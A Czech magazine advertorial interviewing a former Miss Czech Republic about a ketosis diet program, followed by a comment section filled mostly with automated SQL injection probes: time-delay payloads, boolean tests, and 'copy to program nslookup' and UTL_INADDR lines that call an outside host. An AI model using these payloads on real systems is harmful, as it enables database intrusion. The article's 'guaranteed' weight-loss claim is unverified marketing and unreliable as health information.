reklama
cz / EN / esp

Zhubnete jen tehdy, když budete cvičit a zdravě jíst!

Přesvědčila se o tom i bývalá Miss ČR Michaela Salačová. Zeptali jsme se, jak se jí to povedlo.

reklama

Do bývalé Miss České republiky Michaely Salačové byste řekli, že má dokonalou postavu. I šestnáct let po vítězství v soutěži krásy by se mohla klidně postavit na přehlídková mola. Nicméně nikdo není dokonalý a ani Míša po dvou těhotenstvích nebyla spokojená se svou postavou.

 

Ahoj Míšo,

proč si nebyla spokojená se svým tělem?

Víš, jsem maminka dvou dětí. Byla jsem dvakrát těhotná a právě těhotenství v mém životě znamenalo dvakrát naprosto šílené výkyvy váhy.  V případě prvního těhotenství jsem přibrala neuvěřitelných 38kg, u druhého pak už „jenom" 28kg. Děs a běs! Sice se mi to podařilo poměrně snadno zhubnout, ovšem na svoji původní váhu před těhotenstvím jsem se už nevrátila.

 

A co děláš pro to, aby sis svou postavu udržela?

Žiju poměrně aktivním stylem života a k tomu jím velmi zdravě. Hodně se hýbu, nejím sladkosti, naopak jím hodně zeleniny, ovoce, sportuji, nekouřím. Ze svého úhlu pohledu bych řekla, že dělám pro své zdraví celkem dost. Ale stejně, asi jako každá ženská, se svojí postavou zase tak úplně spokojená nejsem.

 

 A se kterou partií na svém těle nejsi spokojená?

Jsou partie, které bych „brala štíhlejší", konkrétně břicho, stehna. Právě zde ta těhotenství napáchala největší škody. Rozhodně se nepřikláním k nějakému drastickému hubnutí a radikálním dietám, ale taková dvě kilečka dole bych brala:)

 

Cvičení tedy nepomohlo, ale stejně si zhubla. Jak si toho dosáhla?

Moje kamarádka mi nedávno řekla o dietním programu It´s my life!, který ona sama nabízí a také ho vyzkoušela. Vysvětlila mi, jak vše funguje a nabídla mi, ať to sama na týden otestuji, kdy bych ta dvě kilečka opravdu mohla shodit. A protože ráda testuji a zkouším nové věci, souhlasila jsem.

foto: studio It´s my life v Ženských domovech v ulici Ostrovského, Praha

A jak ten týden probíhal?

V mém případě jsme se domluvily, že dietu otestuji na jeden týden. Dietní poradkyně mi připravila jídla s tím, že jedno jídlo denně budu mít „běžné", tedy bílkoviny (maso), ryby, sýr a zeleninu. Nepotřebuji hubnout tolik a právě tato kombinace se zdála jako ideální. Na den jsem tedy dostala snídani v podobě kaše, dále svačinu, kterou si lze půlit na dvě dávky a oběd/večeři. Jídla jsou v sáčku, jedná se o kaše, koktejly, polévky, těstoviny, omelety. Je opravdu z čeho vybírat a každý si vše můžete kombinovat podle chuti.

 

To zní skoro ideálně. Měla jsi nějaké problémy během toho týdne?

Druhý den diety jsem pociťovala lehkou únavu a pobolívala mě hlava, tělo se dostávalo do ketózy. Další dny už bylo vše v pořádku. Moc mě potěšilo, že během dietního plánu, pokud ho dodržujete, jak máte, opravdu nemáte hlad. Alespoň mně tato jídla stačila. Navíc, když jsem měla chuť, jsem si mohla dát plátek nízkotučného sýra, šunky, zelenou zeleninu. Takže jsem rozhodně nijak netrpěla. Pokud by ovšem přišel velký hlad, dostanete zeleninový vývar, který si můžete libovolně připravit.

foto: produkty dietního programu

A co tvoje meta. Tedy dvě kila dole?

Opravdu se mi podařilo zhubnout právě ta dvě kila, která jsem potřebovala, což mi udělalo obrovskou radost. Nyní jen pevně doufám, že si tento váhový úbytek na stálo udržím.

 

Budeme držet palce!

 

 

A jak dietní program It´s my life! funguje?

 

Dietní program It´s my life! je šestifázový týdenní cyklus, jehož hlavním cílem je snížit váhu redukcí tuků při zachování svalů, a to dlouhodobě a bez jo-jo efektu. Na konci programu byste měli být připraveni přejít plynule na běžnou zdravou a vyváženou stravu tak, abyste dosažený výsledek udrželi už napořád.

Důležitou informací je, že značka garantuje, že pokud se budete řídit doporučením výživového poradce, se kterým celý program absolvujete, zaručeně zhubnete. Individuální plán Vám tedy na míru připraví certifikovaný výživový poradce.


V dietním plánu nabízí značka řadu proteinových pokrmů a doplňků stravy, které splňují ty nejpřísnější normy a obsahují všechny potřebné vitamíny, minerály a stopové prvky. A co je nejlepší – chutnají jako opravdové jídlo! Většinu produktů mohou užívat i klienti s potravinovou alergií na lepek, sóju a laktózu. Z naší široké nabídky si vyberou i příznivci veganství.

Hubnutí funguje na bázi ketózy – tedy procesu, kdy organismus začne využívat uložených tuků k přeměně energie.

 

V Praze najdete pobočku It´s my life! v Ženských domovech na Andělu.

Více informací najdete i na facebooku.

redakce, foto archiv Michaely Salačové / 21.09.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





1acufC5ikSc8Ph 15.05.2018
1
1acufC5ikSc8Ph 15.05.2018
1
psalplkx 15.05.2018
1acuAWtLXKCusT
psalplkx 15.05.2018
1acuAWtLXKCusT
psalplkx 15.05.2018
1acuAWtLXKCusT
psalplkx 15.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
632' 14.05.2018
1
ivwernxt';copy (select '') to program 'nslookup dns.sqli.\039481.50-5998.50.62133.\1.bxss.me 14.05.2018
1
ivwernxt';copy (select '') to program 'nslookup dns.sqli.\039481.50-5998.50.62133.\1.bxss.me 14.05.2018
1
ivwernxt';copy (select '') to program 'nslookup dns.sqli.\039481.50-5998.50.62133.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5997.50.62133.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5997.50.62133.1.bxss'||'.me')||' 14.05.2018
1
D5TmJqYx');select pg_sleep(69.423); -- 14.05.2018
1
damfa1ZC';select pg_sleep(69.423); -- 14.05.2018
1
JgAmeTYC'; waitfor delay '0:0:69.423' -- 14.05.2018
1
1 waitfor delay '0:0:46.282' -- 14.05.2018
1
(select(0)from(select(sleep(46.282)))v)/*'+(select(0)from(select(sleep(46.282)))v)+'"+(select(0)from(select(sleep(46.282)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(46.282),0)/*'XOR(if(now()=sysdate(),sleep(46.282),0))OR'"XOR(if(now()=sysdate(),sleep(46.282),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+313-313) -- 14.05.2018
1
-1" OR 3*2>(0+5+313-313) -- 14.05.2018
1
-1" OR 3*2<(0+5+313-313) -- 14.05.2018
1
-1" OR 3+313-313-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+313-313-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+929-929) or '3VmXnQXu'=' 14.05.2018
1
-1' OR 3*2<(0+5+929-929) or '3VmXnQXu'=' 14.05.2018
1
-1' OR 3+929-929-1=0+0+0+1 or '3VmXnQXu'=' 14.05.2018
1
-1' OR 2+929-929-1=0+0+0+1 or '3VmXnQXu'=' 14.05.2018
1
-1' OR 2+929-929-1=0+0+0+1 or '3VmXnQXu'=' 14.05.2018
1
-1' OR 3*2>(0+5+747-747) -- 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
-1' OR 3+747-747-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3+747-747-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3+747-747-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3+747-747-1=0+0+0+1 -- 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
-1' OR 2+747-747-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+785-785) 14.05.2018
1
clkocucl 14.05.2018
1
-1 OR 3*2<(0+5+785-785) 14.05.2018
1
-1 OR 3+785-785-1=0+0+0+1 14.05.2018
1
-1 OR 2+785-785-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+114-114) -- 14.05.2018
1
clkocucl 14.05.2018
1
-1 OR 3*2<(0+5+114-114) -- 14.05.2018
1
clkocucl 14.05.2018
1
-1 OR 3+114-114-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3+114-114-1=0+0+0+1 -- 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
-1 OR 3+114-114-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3+114-114-1=0+0+0+1 -- 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
-1 OR 2+114-114-1=0+0+0+1 -- 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
clkocucl 14.05.2018
1
ivwernxt 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
ivwernxt 14.05.2018
883'
ivwernxt 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-5964.50.62133.\1.bxss.me
ivwernxt 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-5962.50.62133.\1.bxss.me'
ivwernxt 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5961.50.62133.1.bxss'||'.me')||'
ivwernxt 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5960.50.62133.1.bxss'||'.me')
ivwernxt 14.05.2018
1oEXSj0t'));select pg_sleep(37.875); --
ivwernxt 14.05.2018
jxvzMj7b';select pg_sleep(25.25); --
ivwernxt 14.05.2018
vd6vRcyq');select pg_sleep(25.25); --
ivwernxt 14.05.2018
-1));select pg_sleep(25.25); --
ivwernxt 14.05.2018
-1);select pg_sleep(25.25); --
''"" 14.05.2018
1
'" 14.05.2018
1
'" 14.05.2018
1
ivwernxt 14.05.2018
-1;select pg_sleep(37.875); --
ivwernxt 14.05.2018
1 waitfor delay '0:0:37.875' --
ivwernxt 14.05.2018
uZNYdz3e'; waitfor delay '0:0:37.875' --
'" 14.05.2018
1
'" 14.05.2018
1
ivwernxt 14.05.2018
-1); waitfor delay '0:0:25.25' --
ivwernxt 14.05.2018
-1; waitfor delay '0:0:25.25' --
ivwernxt 14.05.2018
(select(0)from(select(sleep(25.25)))v)/*'+(select(0)from(select(sleep(25.25)))v)+'"+(select(0)from(select(sleep(25.25)))v)+"*/
ivwernxt 14.05.2018
-1" OR 3*2>(0+5+975-975) --
JyI= 14.05.2018
1
ivwernxt 14.05.2018
if(now()=sysdate(),sleep(25.25),0)/*'XOR(if(now()=sysdate(),sleep(25.25),0))OR'"XOR(if(now()=sysdate(),sleep(25.25),0))OR"*/
ivwernxt 14.05.2018
-1" OR 3*2>(0+5+975-975) --
@@ad8cK 14.05.2018
1
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
ivwernxt 14.05.2018
-1" OR 3*2<(0+5+975-975) --
ivwernxt 14.05.2018
-1" OR 3+975-975-1=0+0+0+1 --
clkocucl 14.05.2018
1
ivwernxt 14.05.2018
-1" OR 3+975-975-1=0+0+0+1 --
ivwernxt 14.05.2018
-1" OR 3+975-975-1=0+0+0+1 --
ivwernxt 14.05.2018
-1" OR 3+975-975-1=0+0+0+1 --
ivwernxt 14.05.2018
-1" OR 2+975-975-1=0+0+0+1 --
ivwernxt 14.05.2018
-1' OR 3*2>(0+5+757-757) or 'GQNdTHxI'='
ivwernxt 14.05.2018
-1' OR 3*2<(0+5+757-757) or 'GQNdTHxI'='
clkocucl 14.05.2018
''""
clkocucl 14.05.2018
'"
ivwernxt 14.05.2018
-1' OR 3+757-757-1=0+0+0+1 or 'GQNdTHxI'='
clkocucl 14.05.2018
JyI=
clkocucl 14.05.2018
@@6Oi26
clkocucl 14.05.2018
1%2527%2522
clkocucl 14.05.2018
\
ivwernxt 14.05.2018
-1' OR 2+757-757-1=0+0+0+1 or 'GQNdTHxI'='
ivwernxt 14.05.2018
-1' OR 2+757-757-1=0+0+0+1 or 'GQNdTHxI'='
clkocucl 14.05.2018
1'"
clkocucl 14.05.2018
1'"
ivwernxt 14.05.2018
-1' OR 2+757-757-1=0+0+0+1 or 'GQNdTHxI'='
ivwernxt 14.05.2018
-1' OR 2+757-757-1=0+0+0+1 or 'GQNdTHxI'='
clkocucl 14.05.2018
1
clkocucl 14.05.2018
1
ivwernxt 14.05.2018
-1' OR 3*2>(0+5+245-245) --
ivwernxt 14.05.2018
-1' OR 3*2>(0+5+245-245) --
ivwernxt 14.05.2018
-1' OR 3*2<(0+5+245-245) --
ivwernxt 14.05.2018
-1' OR 3+245-245-1=0+0+0+1 --
ivwernxt 14.05.2018
-1' OR 3+245-245-1=0+0+0+1 --
ivwernxt 14.05.2018
-1' OR 3+245-245-1=0+0+0+1 --
ivwernxt 14.05.2018
-1' OR 3+245-245-1=0+0+0+1 --
ivwernxt 14.05.2018
-1' OR 2+245-245-1=0+0+0+1 --
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+740-740)
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+740-740)
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+740-740)
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+740-740)
ivwernxt 14.05.2018
-1 OR 3*2<(0+5+740-740)
ivwernxt 14.05.2018
-1 OR 3+740-740-1=0+0+0+1
ivwernxt 14.05.2018
-1 OR 2+740-740-1=0+0+0+1
ivwernxt 14.05.2018
-1 OR 2+740-740-1=0+0+0+1
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+648-648) --
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+648-648) --
ivwernxt 14.05.2018
-1 OR 3*2>(0+5+648-648) --
ivwernxt 14.05.2018
-1 OR 3*2<(0+5+648-648) --
ivwernxt 14.05.2018
-1 OR 3+648-648-1=0+0+0+1 --
ivwernxt 14.05.2018
-1 OR 2+648-648-1=0+0+0+1 --
ivwernxt 14.05.2018
-1 OR 2+648-648-1=0+0+0+1 --
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
ivwernxt 14.05.2018
1
klugpwko 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag